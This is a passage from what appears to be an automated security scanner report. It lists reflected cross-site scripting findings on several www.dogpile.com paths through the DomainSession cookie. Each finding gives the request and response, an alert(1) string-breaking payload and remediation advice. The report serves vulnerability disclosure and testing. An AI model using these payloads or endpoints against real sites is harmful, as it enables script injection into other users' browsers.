Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a6232"-alert(1)-"0b9efa05740 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_other/ws/faq/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.dogpile.com/dogpile_other/ws/index
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3792213258.20480.0000+cacheId+ms20:1301676964559; wsRecent=Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; wsViewRecent=1; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=f1e07d8163f9435e87f8c16a3af0cb01&ActionId=859dec9ca7a74a60921ac16a3af0cb01&CookieDomain=.dogpile.coma6232"-alert(1)-"0b9efa05740; DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:55:52 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=859dec9ca7a74a60921ac16a3af0cb01&ActionId=461d8d5cd4b54b13a781c16a3af0cb01&CookieDomain=.dogpile.coma6232"-alert(1)-"0b9efa05740; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:18:37 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:58:37 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:58:37 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:58:36 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 64613

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=859dec9ca7a74a60921ac16a3af0cb01&ActionId=461d8d5cd4b54b13a781c16a3af0cb01&CookieDomain=.dogpile.coma6232"-alert(1)-"0b9efa05740; expires=Fri, 01 Apr 2011 17:18:37 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.15. http://www.dogpile.com/dogpile_other/ws/faq/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/faq/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload da425"-alert(1)-"23f7cc263dd was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_other/ws/faq/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.dogpile.com/dogpile_other/ws/index
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3792213258.20480.0000+cacheId+ms20:1301676964559; wsRecent=Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; wsViewRecent=1; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=f1e07d8163f9435e87f8c16a3af0cb01&ActionId=859dec9ca7a74a60921ac16a3af0cb01&CookieDomain=.dogpile.comda425"-alert(1)-"23f7cc263dd; DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:55:52 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=859dec9ca7a74a60921ac16a3af0cb01&ActionId=3f3afdc0d56d4edda83ec16a3af0cb01&CookieDomain=.dogpile.comda425"-alert(1)-"23f7cc263dd; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:16:32 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:32 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:56:32 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:56:32 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 45965

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=859dec9ca7a74a60921ac16a3af0cb01&ActionId=3f3afdc0d56d4edda83ec16a3af0cb01&CookieDomain=.dogpile.comda425"-alert(1)-"23f7cc263dd; expires=Fri, 01 Apr 2011 17:16:32 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.16. http://www.dogpile.com/dogpile_other/ws/index [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/index

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 21ae4"-alert(1)-"eecc2711024 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_other/ws/index HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://dogpile.com/dogpile/ws/index/qcat=wp/_iceUrlFlag=11?_IceUrl=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=9ca43f5d994646fab1d4c16a3af0cb01&ActionId=bc343352182e410c9000c16a3af0cb01&CookieDomain=.dogpile.com21ae4"-alert(1)-"eecc2711024; DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:55:56 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=bc343352182e410c9000c16a3af0cb01&ActionId=a02f9479f63c45cfad66c16a3af0cb01&CookieDomain=.dogpile.com21ae4"-alert(1)-"eecc2711024; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:16:04 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:04 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:56:04 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:56:03 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 45953

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=bc343352182e410c9000c16a3af0cb01&ActionId=a02f9479f63c45cfad66c16a3af0cb01&CookieDomain=.dogpile.com21ae4"-alert(1)-"eecc2711024; expires=Fri, 01 Apr 2011 17:16:04 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.17. http://www.dogpile.com/dogpile_other/ws/index [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/index

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 37a9f"-alert(1)-"9ff850e7c98 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_other/ws/index HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3792213258.20480.0000+cacheId+ms20:1301676964559; wsRecent=Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; wsViewRecent=1; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=86d1546926784d5188d2c16a3af0cb01&ActionId=f1e07d8163f9435e87f8c16a3af0cb01&CookieDomain=.dogpile.com37a9f"-alert(1)-"9ff850e7c98; DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:05 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=f1e07d8163f9435e87f8c16a3af0cb01&ActionId=af484727a0d14b41a32ec16a3af0cb01&CookieDomain=.dogpile.com37a9f"-alert(1)-"9ff850e7c98; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:16:28 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:28 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:56:28 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:56:27 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 45971

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=f1e07d8163f9435e87f8c16a3af0cb01&ActionId=af484727a0d14b41a32ec16a3af0cb01&CookieDomain=.dogpile.com37a9f"-alert(1)-"9ff850e7c98; expires=Fri, 01 Apr 2011 17:16:28 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.18. http://www.dogpile.com/dogpile_other/ws/index/qcat=wp/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/index/qcat=wp/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f72c"-alert(1)-"f359c353bfe was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_other/ws/index/qcat=wp/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.dogpile.com/dogpile_other/ws/index
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3741881610.20480.0000+cacheId+ms17:1301677814261; wsRecent=april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:42 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=943c5c3ef0f147488180c16a3af0cb01&ActionId=576fec2bf7284bfebe21c16a3af0cb01&CookieDomain=.dogpile.com8f72c"-alert(1)-"f359c353bfe

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=576fec2bf7284bfebe21c16a3af0cb01&ActionId=2b6d828d4bd64cce96eac16a3af0cb01&CookieDomain=.dogpile.com8f72c"-alert(1)-"f359c353bfe; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:34:55 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:55 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:14:55 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:14:55 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 45953

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=576fec2bf7284bfebe21c16a3af0cb01&ActionId=2b6d828d4bd64cce96eac16a3af0cb01&CookieDomain=.dogpile.com8f72c"-alert(1)-"f359c353bfe; expires=Fri, 01 Apr 2011 17:34:55 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.19. http://www.dogpile.com/dogpile_other/ws/index/qcat=yp/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/index/qcat=yp/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d91bc"-alert(1)-"8a6ce0e863e was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_other/ws/index/qcat=yp/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.dogpile.com/dogpile_other/ws/index/qcat=wp/_iceUrlFlag=11?_IceUrl=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3741881610.20480.0000+cacheId+ms17:1301677814261; wsRecent=april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:43 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=576fec2bf7284bfebe21c16a3af0cb01&ActionId=57e9f6a7a2d64328b77bc16a3af0cb01&CookieDomain=.dogpile.comd91bc"-alert(1)-"8a6ce0e863e

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=57e9f6a7a2d64328b77bc16a3af0cb01&ActionId=a3af644f37f54f13b92dc16a3af0cb01&CookieDomain=.dogpile.comd91bc"-alert(1)-"8a6ce0e863e; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:34:54 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:54 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:14:54 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:14:53 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 32540

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=57e9f6a7a2d64328b77bc16a3af0cb01&ActionId=a3af644f37f54f13b92dc16a3af0cb01&CookieDomain=.dogpile.comd91bc"-alert(1)-"8a6ce0e863e; expires=Fri, 01 Apr 2011 17:34:54 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.20. http://www.dogpile.com/dogpile_other/ws/preferences/rfcid=415/rfcp=TopNavigation/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/preferences/rfcid=415/rfcp=TopNavigation/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 24062"-alert(1)-"3197989eac9 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_other/ws/preferences/rfcid=415/rfcp=TopNavigation/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3741881610.20480.0000+cacheId+ms17:1301677814261; wsRecent=april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:31 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=e0a2585a54c44613a05fc16a3af0cb01&ActionId=cbef8ee057aa45668e6fc16a3af0cb01&CookieDomain=.dogpile.com24062"-alert(1)-"3197989eac9

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Expires: Fri, 01 Apr 2011 17:14:46 GMT
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=cbef8ee057aa45668e6fc16a3af0cb01&ActionId=69e4663f27db43c59583c16a3af0cb01&CookieDomain=.dogpile.com24062"-alert(1)-"3197989eac9; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:34:46 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:46 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:14:46 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:14:46 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 51063

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=cbef8ee057aa45668e6fc16a3af0cb01&ActionId=69e4663f27db43c59583c16a3af0cb01&CookieDomain=.dogpile.com24062"-alert(1)-"3197989eac9; expires=Fri, 01 Apr 2011 17:34:46 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.21. http://www.dogpile.com/dogpile_other/ws/redir/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/redir/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 868e6"-alert(1)-"815bb4494be was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

POST /dogpile_other/ws/redir/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.dogpile.com/dogpile_other/ws/faq/_iceUrlFlag=11?_IceUrl=true
Content-Length: 2186
Cache-Control: max-age=0
Origin: http://www.dogpile.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
